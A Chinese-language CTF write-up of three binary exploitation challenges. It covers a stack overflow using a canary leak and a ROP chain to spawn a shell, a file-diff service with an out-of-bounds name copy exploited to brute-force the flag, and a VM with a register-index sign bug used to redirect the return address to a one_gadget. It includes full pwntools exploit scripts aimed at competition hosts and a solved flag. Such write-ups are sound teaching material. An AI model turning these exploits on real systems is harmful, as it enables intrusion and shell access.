杀猪盘

静态编译,第四个人出来的时候有两次栈溢出,第一次泄露canary,第二次泄露基地址返回rop,execve("/bin/sh",0,0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# encoding: utf-8
from pwn import*
context(os='linux', arch='amd64', log_level='debug')

# r = process('./szp2')
r = remote('39.105.99.40',25862)

def init():
r.sendlineafter('> ', str(2))

def cao():
r.sendlineafter(': ', str(4))
r.sendlineafter('Y/n)', 'Y')
r.sendline('\n'*13)
r.sendlineafter('> ', str(2))
r.sendline('\n'*10)
r.sendlineafter('> ', str(1))
r.sendlineafter(':', 'AAAA')
r.sendlineafter('你的积蓄', str(0x100000))
r.sendlineafter(':¥', str(0x10000))
r.sendlineafter('。','\n')
r.sendlineafter('> ', str(5))


init()
cao()
r.sendline('\n')
r.sendafter(':', 'A'*0x98+'Z')
r.recvuntil('Z')
canary = u64('\x00'+r.recv(7))
r.sendline('\n')
r.sendafter(':', 'A'*0x98+p64(canary))
r.sendline('\n')


cao()
r.sendline('\n')
r.sendafter(':', 'A'*0xa7+'Z')
r.recvuntil('Z')
base = u64(r.recv(6)+2*'\x00')-0xb885#+0x6000
prdi_r = 0x0000000000009cc2+base

# gdb.attach(r)

r.sendline('\n')
r.sendafter(':', 'A'*0x98+p64(canary)\
+p64(0)+p64(prdi_r)+p64(base+0xC2D1B)+\
p64(base+0x0000000000018c9e)+p64(0)+\
p64(base+0x0000000000009bcf)+p64(0)+\
p64(0xA16C0+base))
r.sendline('\n')
r.sendline('\n')

success(hex(canary))
success(hex(base))

r.interactive()

diff

set namestrcpy存在越界,能够修改文件2的文件名,拼成///flag从而在diff时读取靶机根目录flag

diff中循环条件存在问题,char型当相加为256时变0退出循环,返回“一样”,利用这一点可以逐字节爆破flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl compare(int a1, int fd)
{
char v2; // al
int v4; // [esp+0h] [ebp-80h]
unsigned int i; // [esp+4h] [ebp-7Ch]
char addr[120]; // [esp+8h] [ebp-78h] BYREF

v4 = 0;
if ( sys_read(fd, buf1, 0x64u) < 0 || sys_read(a1, addr, 0x64u) < 0 )
JUMPOUT(0x804905F);
for ( i = 0; addr[i] + buf1[i] && i < 0x400; ++i )
{
v2 = buf1[i];
if ( v2 != addr[i] )
return v4 + 1;
if ( v2 == 10 )
++v4;
}
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# encoding: utf-8

from pwn import*
import sys
context(os='linux', arch='amd64')#, log_level='debug')



def upload(name, data):
r.sendlineafter('> ', str(1))
r.sendafter('filename:', name)
r.sendafter('data:', data)

def setname(idx, name):
r.sendlineafter('> ', str(2))
r.sendlineafter('file 1 or 2:', str(idx))
r.sendafter(':',name)

def gen(s):
return p8(256-ord(i))

cnt = 0
def PWN(ss):

global cnt
cnt+=1
upload('flag'+str(cnt)+'\x00', ss+'\x00')
upload('flag\x00\x00\x00\x00\x00\x00', 'flag\x00')
setname(1, ('flag'+str(cnt)+'\x00').ljust(0x80-5, '\x00')+'/////')
r.recvuntil('> ')
# pause()
r.sendline('4')
s = r.recv()
print(s)
if '1' not in s:
return 0
else:
return 1

s = string.printable

ans = 'flag{0e149552-d355-4b96-8c2e-2b27e7ec94ab}'
for i in s:
print(i)
if sys.argv[1] == 're':
r = remote('47.95.8.59',18209)
else:
r = process('./launcher')
if PWN(ans+gen(i)) == 0:
ans+=i
print(ans)
r.close()
break
else:
print(ans)
r.close()
continue
# break
r.interactive()

mvm

没交上flag

vm中对寄存器idx判断有误,存在负溢。当<=6时将作为数组索引取值,这里的数据转换还存在一层溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
case 0xF:
if ( !v17 )
{
fwrite("Stack Underflow !\n", 1uLL, 0x12uLL, stderr);
_exit(0);
}
if ( *((__int64 *)j + 1) > 6 )
{
fwrite("Invalid Register !\n", 1uLL, 0x13uLL, stderr);
_exit(0);
}
v19 = v22[--v17];
v21[*((_QWORD *)j + 1)] = v22[v17];
break;

下面是if ( *((__int64 *)j + 1) > 6 )的汇编

1
2
cmp     rax, 6
jle short loc_1EA0

下面汇编表示v21[*((_QWORD *)j + 1)] = v22[v17];

1
2
3
4
5
mov     rax, [rbp+var_20068]
mov rax, [rax+8]
mov rdx, [rbp+var_20070]
mov rdx, [rbp+rdx*8+var_20020]
mov [rbp+rax*8+var_20050], rdx

上两段汇编可以看到在做判断的时候使用rax判断,而当作为数组索引时会存在rdx中,用[rbp+rdx*8+var_20020]取值,这里rdx*8就可能丢失精度,当该64位数值最高位为1时,判断时会是一个负数,而作为数组索引时由于被乘8(左移3位),最高位可以由1变0,从而变成一个正数,用来索引到下方栈空间

可以利用这一点对返回地址进行读取和存储,通过加偏移指向one_gadget后放回,最后返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# encoding: utf-8
from pwn import*
context(os='linux', arch='amd64', log_level='debug')

r = process('./mvm')
# r = remote('39.105.99.40',44000)
libc = ELF('./libc-2.31.so')

code = []

code.append(4)
code.append((-(1<<64)+0x20058)//8)
code.append(1)
code.append(0xe6c81-(libc.sym['__libc_start_main']+243))
code.append(5)
code.append(15)
code.append((-(1<<64)+0x20058)//8)
code.append(16)

# 159680+243
# 0xe6c81
# gdb.attach(r, 'b *$rebase(0x145D)')
r.recv()
r.sendline(str(len(code)/2))
for i in code:
r.sendline(str(i))

r.interactive()